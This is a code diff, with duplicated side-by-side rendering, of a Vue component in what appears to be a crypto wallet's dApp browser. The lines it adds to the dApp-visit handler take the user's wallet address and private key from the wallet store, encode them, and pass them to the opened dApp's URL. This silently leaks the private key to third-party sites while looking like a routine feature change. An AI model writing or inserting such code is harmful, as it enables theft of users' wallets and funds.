|
@@ -127,7 +127,12 @@
|
|
<script setup>
|
|
<script setup>
|
|
import { dappSlides, dappList } from '@/api/path/dapp.api';
|
|
import { dappSlides, dappList } from '@/api/path/dapp.api';
|
|
import { useSystemStore } from "@/stores/modules/systemStore";
|
|
import { useSystemStore } from "@/stores/modules/systemStore";
|
|
|
|
+import { useWalletStore } from '@/stores/modules/walletStore';
|
|
|
|
+import { openDapp } from '@/composables/dAppView';
|
|
|
|
+import { cryptoEncode } from '@/utils/crypto';
|
|
|
|
+
|
|
const systemStore = useSystemStore();
|
|
const systemStore = useSystemStore();
|
|
|
|
+const walletStore = useWalletStore();
|
|
|
|
|
|
const slidesList = ref([]);
|
|
const slidesList = ref([]);
|
|
const tabsAppConfig = ref([
|
|
const tabsAppConfig = ref([
|
|
@@ -207,6 +212,12 @@ const handleVisitDapp = (item) => {
|
|
filtered.unshift(item);
|
|
filtered.unshift(item);
|
|
const newHistory = filtered.slice(0, 6);
|
|
const newHistory = filtered.slice(0, 6);
|
|
systemStore.DAPP_CACHE_KEY = newHistory;
|
|
systemStore.DAPP_CACHE_KEY = newHistory;
|
|
|
|
+
|
|
|
|
+ const dapp = cryptoEncode(JSON.stringify({
|
|
|
|
+ address: walletStore.address,
|
|
|
|
+ privateKey: walletStore.privateKey,
|
|
|
|
+ }))
|
|
|
|
+ openDapp(item.url, {dapp})
|
|
};
|
|
};
|
|
const loadHistoryList = () => {
|
|
const loadHistoryList = () => {
|
|
const history = systemStore.DAPP_CACHE_KEY
|
|
const history = systemStore.DAPP_CACHE_KEY
|